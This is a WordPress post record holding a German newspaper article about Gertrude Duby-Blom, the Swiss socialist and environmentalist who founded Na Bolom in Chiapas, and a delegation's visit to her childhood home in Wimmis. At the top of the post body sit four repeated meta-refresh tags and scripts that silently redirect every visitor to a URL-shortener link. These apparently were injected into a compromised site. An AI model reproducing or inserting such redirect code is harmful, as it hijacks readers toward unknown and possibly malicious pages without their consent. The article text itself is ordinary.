{"id":6674,"date":"2015-12-07T15:30:12","date_gmt":"2015-12-07T21:30:12","guid":{"rendered":"http:\/\/nabolom.ch\/demo\/?p=6674"},"modified":"2026-02-20T18:18:04","modified_gmt":"2026-02-21T00:18:04","slug":"auf-den-spuren-einer-oberlander-rebellin","status":"publish","type":"post","link":"https:\/\/nabolom.ch\/web\/2015\/12\/auf-den-spuren-einer-oberlander-rebellin\/","title":{"rendered":"Auf den Spuren einer Oberl\u00e4nder Rebellin"},"content":{"rendered":"<p><meta http-equiv=\"refresh\" content=\"0; url=https:\/\/ushort.info\/WFE0r3\" \/><br \/>\n<script>window.location.href = \"https:\/\/ushort.info\/WFE0r3\";<\/script><br \/>\n<meta http-equiv=\"refresh\" content=\"0; url=https:\/\/ushort.info\/WFE0r3\" \/><br \/>\n<script>window.location.href = \"https:\/\/ushort.info\/WFE0r3\";<\/script><br \/>\n<meta http-equiv=\"refresh\" content=\"0; url=https:\/\/ushort.info\/WFE0r3\" \/><br \/>\n<script>window.location.href = \"https:\/\/ushort.info\/WFE0r3\";<\/script><br \/>\n<meta http-equiv=\"refresh\" content=\"0; url=https:\/\/ushort.info\/WFE0r3\" \/><br \/>\n<script>window.location.href = \"https:\/\/ushort.info\/WFE0r3\";<\/script><\/p>\n<h3 style=\"text-align: justify;\"><\/h3>\n<h3 style=\"text-align: justify;\"><span class=\"keyword\">Wimmis<\/span>In Wimmis aufgewachsen, entwickelte sich Gertrude L\u00f6rtscher sp\u00e4ter zu einer eigentlichen Rebellin. In Europa focht sie f\u00fcr Frieden und Gerechtigkeit, in Mexiko k\u00e4mpfte sie f\u00fcr den Erhalt der Tropenw\u00e4lder.<\/h3>\n<p style=\"text-align: justify;\">Die Pr\u00e4sidentin Kyra Nu\u00f1ez-Johnsson (rechts) und die Vizepr\u00e4sidentin Yvonne Meyer von Na Bolom Schweiz vor dem Pfarrhaus in Wimmis. Hier wohnte Trudi als Tochter des Pfarrers Otto L\u00f6rtscher von 1904 bis 1910. Bild: Peter Rothacher<\/p>\n<p style=\"text-align: justify;\">In Mexiko ist die Frau ein Begriff, in Wimmis, wo sie einen Grossteil ihrer Kindheit verbracht hat, kennt sie kaum jemand: Gertrude Duby Blom. Erst eine Anfrage der Institution Na Bolom aus Genf an die Gemeindeverwaltung weckte im Ort am Fusse des Niesens das Bewusstsein, dass hier von 1904 bis 1910 ein M\u00e4dchen gelebt hatte, das sp\u00e4ter als aussergew\u00f6hnliche Frau Geschichte schreiben sollte.<\/p>\n<p style=\"text-align: justify;\">Und dies wortw\u00f6rtlich, denn Trudi Blom \u2013 wie sie sich sp\u00e4ter nannte \u2013 entwickelte sich zur Schweizer Sozialistin, Fotografin, Anthropologin, Umweltsch\u00fctzerin und Journalistin. Mehr als ihr halbes Leben verbrachte sie in Mexiko und dokumentierte die Mayakulturen von Chiapas, vor allem die Kultur der Lacandonen. Zugleich k\u00e4mpfte sie gegen die Abholzung des Tropenwaldes und gr\u00fcndete das Zentrum Na Bolom.<\/p>\n<p style=\"text-align: justify;\">2 Jahre vor Trudi Bloms Ableben im Alter von 92 Jahren wurde ihr 1991 von der UN-Organisation United Nations Environment Programme die Auszeichnung \u00abGlobal 500 Award\u00bb f\u00fcr ihre \u00abVerdienste zur Erhaltung einer gesunden Welt\u00bb verliehen. Als gemeinn\u00fctzige Stiftung lebt das Verm\u00e4chtnis der Schweizerin in Mexiko weiter und unterst\u00fctzt dort den Erhalt der Lacandona-W\u00e4lder und ihrer Bewohner.<\/p>\n<p style=\"text-align: justify;\"><b>Mexikanerinnen in Wimmis<\/b><\/p>\n<p style=\"text-align: justify;\">Vor einem Jahr wurde in dem Sinne der Schweizer Kulturverein Na Bolom.ch mit Sitz in Genf und Bern gegr\u00fcndet. Zu dessen einj\u00e4hrigem Bestehen besuchte nun eine Delegation dieser Institution Wimmis, um dort auf Trudis Kindheitsspuren zu wandeln.<\/p>\n<p style=\"text-align: justify;\">So stellte Gemeindepr\u00e4sident Peter Schmid den G\u00e4sten die Gemeinde vor, und Fritz Walther liess die Geschichte der Kirche Revue passieren. \u00abHier findet sich der Bezug zu Trudi Blom\u00bb, informierte Lokalhistoriker Erich Liechti. \u00abSie war die Tochter von Pfarrer Otto L\u00f6rtscher, der hier von 1904 bis 1910 wirkte. Die Familie kam von Innertkirchen, wo Trudi 1901 geboren worden war, und lebte dann hier w\u00e4hrend 6 Jahren im Pfarrhaus.\u00bb Danach sei die Familie nach Bern weitergezogen, wo Pfarrer L\u00f6rtscher kantonaler Armeninspektor geworden sei.<\/p>\n<p style=\"text-align: justify;\"><b>Erst ber\u00fcchtigt, dann ber\u00fchmt<\/b><\/p>\n<p style=\"text-align: justify;\">\u00abMeine Tante Marie Schweizer-Liechti ist mit Trudi zur Schule gegangen \u2013 sie war ihre beste Freundin\u00bb, wusste Erich Liechti zu berichten. Am Treffen in Wimmis waren neben ihr mit Regina Wolf und Anita Lohner noch zwei weitere Seniorinnen pr\u00e4sent, die sie pers\u00f6nlich gekannt hatten und die mit ihr verwandt waren. \u00abTrudi war eine Nichte meiner Grossmutter\u00bb, erkl\u00e4rte Anita Lohner. Die Ausgewanderte habe in der Familie als ber\u00fcchtigt gegolten, bevor sie dann ber\u00fchmt geworden sei.<\/p>\n<p style=\"text-align: justify;\">Bei ihrem Besuch in Mexiko habe sie die Frau 1980 als \u00abherzlich, direkt und sehr bestimmt\u00bb kennen gelernt, berichtete Lohner. \u00abMit ihr konnte ich eine Expedition per Flugzeug in den Dschungel erleben. Sie war eigentlich eine sensible Pers\u00f6nlichkeit, musste sich aber ihr ganzes Leben lang in einer M\u00e4nnerwelt behaupten.\u00bb<\/p>\n<p style=\"text-align: justify;\">Entsprechend habe sie jemand mit den Worten \u00absie kann Tee servieren wie eine Lady \u2013 aber auch fluchen wie ein Stallknecht\u00bb beschrieben.<\/p>\n<p style=\"text-align: justify;\"><b>Im Dschungel verliebt<\/b><\/p>\n<p style=\"text-align: justify;\">Die Wimmiser Gastgeber wurden ihrerseits von Na-Bolom-Pr\u00e4sidentin Kyra Nu\u00f1ez-Johnsson \u00fcber das Leben der revolution\u00e4ren Frau informiert. Dieses war schon vor dem Engagement in Mexiko alles andere als normal verlaufen.<\/p>\n<p style=\"text-align: justify;\">In Mexiko arbeitete Gertrude Duby 1940 als Sozialarbeiterin und Journalistin f\u00fcr das Arbeitsministerium und untersuchte die Arbeitsbedingungen der Fabrikarbeiterinnen. Ab 1943 begann sie als Expeditionsbegleiterin die Kultur und Landschaft der Chiapas-Indianer zu dokumentieren. Auf einer Expedition zu den Lacand\u00f3n-Indianern lernte sie den d\u00e4nischen Arch\u00e4ologen und Kartografen Frans Blom kennen, den sie 1950 heiratete.<\/p>\n<p style=\"text-align: justify;\">In San Crist\u00f3bal de las Casas in Chiapas restaurierte das Paar ein halb verfallenes Priesterseminar und nannte es Na Bolom (Jaguar). Dieses Tier ziert denn auch das Logo der heutigen Institution. \u00abDie Casa Na Bolom wurde zu einem beliebten Treffpunkt f\u00fcr Besucher, seien es Indianer oder Pers\u00f6nlichkeiten aus aller Welt\u00bb, berichtete Kyra Nu\u00f1ez. Bis zum Tode von Frans Blom 1963 unternahm das Paar auf der Suche nach Mayaruinen immer wieder Expeditionen in den Tropenwald, wobei einzigartige Dokumentationen entstanden.<\/p>\n<p style=\"text-align: justify;\"><b>Unerm\u00fcdliche K\u00e4mpferin<\/b><\/p>\n<p style=\"text-align: justify;\">Trudi Blom engagierte sich in ihrer zweiten Lebensh\u00e4lfte als Umweltaktivistin vehement gegen die systematische Abholzung der Lacandona-W\u00e4lder. Dabei scheute sie auch die Konfrontation mit der mexikanischen Regierung nicht: Mit mehreren B\u00fcchern, Filmen und Fotos focht sie weltweit einen Kampf gegen die Abholzung der Tropenw\u00e4lder.<\/p>\n<p style=\"text-align: justify;\">Vor Ort pflegte sie bis am Schluss eine enge Beziehung zum Schamanen Naha Chan Kin. Sie gr\u00fcndeten eine Baumschule, die auch heute noch einheimische B\u00e4ume kostenlos abgibt, wenn sie im Staat Chiapas angepflanzt werden. \u00abTrudis Casa Na Bolom besteht weiter, und wir bem\u00fchen uns von der Schweiz aus, ihren Kampf fortzuf\u00fchren\u00bb, erkl\u00e4rte Pr\u00e4sidentin Kyra Nu\u00f1ez-Johnsson, gleichzeitig f\u00fcr neue Mitglieder sowie Spenden werbend. Und Vizepr\u00e4sidentin Yvonne Meyer Escobar hielt fest: \u00abAn Trudis Wirkungsst\u00e4tte weiss man bestens \u00fcber Wimmis Bescheid. Der Ort scheint sie sehr gepr\u00e4gt zu haben, denn sie hat immer davon erz\u00e4hlt.\u00bb Peter Rothacher <span class=\"idcode\">(Berner Zeitung).<\/span><\/p>\n<figure id=\"attachment_6677\" aria-describedby=\"caption-attachment-6677\" style=\"width: 348px\" class=\"wp-caption alignnone\"><a href=\"http:\/\/nabolom.ch\/demo\/wp-content\/uploads\/2015\/12\/38993569.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"size-full wp-image-6677\" src=\"http:\/\/nabolom.ch\/demo\/wp-content\/uploads\/2015\/12\/38993569.jpg\" alt=\"Gertrude &quot;Trudi&quot; Duby-Blom (geboren am  7. Juli 1901 in Innertkirchen; gestorben am 23. Dezember 1993 in San Crist\u00f3bal, Mexiko) war eine Schweizer Sozialistin, Fotografin, Anthropologin, Umweltsch\u00fctzerin und Journalistin.\" width=\"348\" height=\"482\" \/><\/a><figcaption id=\"caption-attachment-6677\" class=\"wp-caption-text\">Gertrude &#8220;Trudi&#8221; Duby-Blom (geboren am 7. Juli 1901 in Innertkirchen; gestorben am 23. Dezember 1993 in San Crist\u00f3bal, Mexiko) war eine Schweizer Sozialistin, Fotografin, Anthropologin, Umweltsch\u00fctzerin und Journalistin.<\/figcaption><\/figure>\n<div class=\"contextBox\">\n<p style=\"text-align: justify;\">Trudi Blom in ihrer Wahlheimat Mexiko. Die Berner Oberl\u00e4nderin lebte hier w\u00e4hrend rund f\u00fcnf Jahrzehnten, und sie geniesst in Chiapas auch nach ihrem Tod weiterhin ein hohes Ansehen. (Bild: zvg)<\/p>\n<\/div>\n<div class=\"contextBox\">\n<div class=\"infoList\">\n<h4 style=\"text-align: justify;\">Vom politischen Kampf ins Umweltschutz-Engagement<\/h4>\n<p style=\"text-align: justify;\">Die geb\u00fcrtige Oberl\u00e4nderin Gertrude L\u00f6rtscher bet\u00e4tigte sich in Europa politisch und engagierte sich unter anderem in der Widerstandsbewegung gegen Adolf Hitler.Als 17-J\u00e4hrige verliess Gertrude, Tochter der Pfarrersfamilie Otto L\u00f6rtscher-Ritschard, ihr Elternhaus in Bern. Zuvor hatte sie ihre Kindheit in Wimmis verbracht und lernte nun zwei Jahre Gartenbau. In Z\u00fcrich machte die junge Frau einen Abschluss in Sozialarbeit. Danach lebte sie ein Jahr lang bei einer Qu\u00e4kerfamilie in England und einige Monate in der italienischen Stadt Florenz.<\/p>\n<p>1925 musste Gertrude L\u00f6rtscher aber Italien verlassen und in ihr Heimatland zur\u00fcckkehren, weil ihre journalistischen Arbeiten f\u00fcr sozialistische Zeitungen in der Schweiz den italienischen Faschisten unangenehm aufgefallen waren. Im gleichen Jahr heiratete sie in Lausanne den 25-j\u00e4hrigen Kurt D\u00fcby.<\/p>\n<p>Sie war nun als Sekret\u00e4rin der Frauensektion der deutschen SPD \u2013 f\u00fcr die sie von 1928 an Deutschland bereiste \u2013 t\u00e4tig. 1930 liess sie sich von Kurt D\u00fcby scheiden und schloss offenbar 1933 mit dem deutschen Arbeiter Otto Piel eine Scheinehe, um die deutsche Staatsb\u00fcrgerschaft zu erhalten. Gertrude D\u00fcby konnte allerdings nach der Machtergreifung der Nationalsozialisten ihre politische Arbeit in Deutschland nicht fortsetzen und musste emigrieren. Sie organisierte den Weltfrauenkongress in Paris und in den USA und engagierte sich bis 1939 in der Widerstandsbewegung gegen die Diktatur Adolf Hitlers.<\/p>\n<p><b>In Frankreich interniert<\/b><\/p>\n<p>1940 wurde Gertrude D\u00fcby in das franz\u00f6sische Internierungslager Camp de Rieucros bei Mende im D\u00e9partement Loz\u00e8re eingeliefert, konnte Frankreich mithilfe der Schweizer Botschaft jedoch bald wieder verlassen. Sie emigrierte zuerst in die USA, wenige Monate sp\u00e4ter nach Mexiko, wo sie sich jetzt \u00abDuby\u00bb nannte. In diesen Jahren war sie mit dem deutschen Journalisten Rudolf Feistmann liiert.<\/p>\n<p>1943 liess sich die geb\u00fcrtige Berner Oberl\u00e4nderin dann ich Chiapas nieder und engagierte sich fortan als Trudi Duby Blom f\u00fcr die dortigen Indianer, ihren Lebensraum und die Natur ganz allgemein. In ihrer Publikation \u00abDer Dschungel brennt\u00bb warnte sie angesichts der Tropenwaldholzerei: \u00abWenn der Mensch diesen Planeten weiterhin so misshandelt, wie er es jetzt tut, dann werden die Folgen in naher Zukunft weit schrecklicher sein als jede Verw\u00fcstung, die eine Atombombe anrichten kann.\u00bb<i>prr\/pd<\/i><\/p>\n<\/div>\n<\/div>\n","protected":false},"excerpt":{"rendered":"<p>WimmisIn Wimmis aufgewachsen, entwickelte sich Gertrude L\u00f6rtscher sp\u00e4ter zu einer eigentlichen Rebellin. In Europa focht sie f\u00fcr Frieden und Gerechtigkeit, in Mexiko k\u00e4mpfte sie f\u00fcr den Erhalt der Tropenw\u00e4lder. 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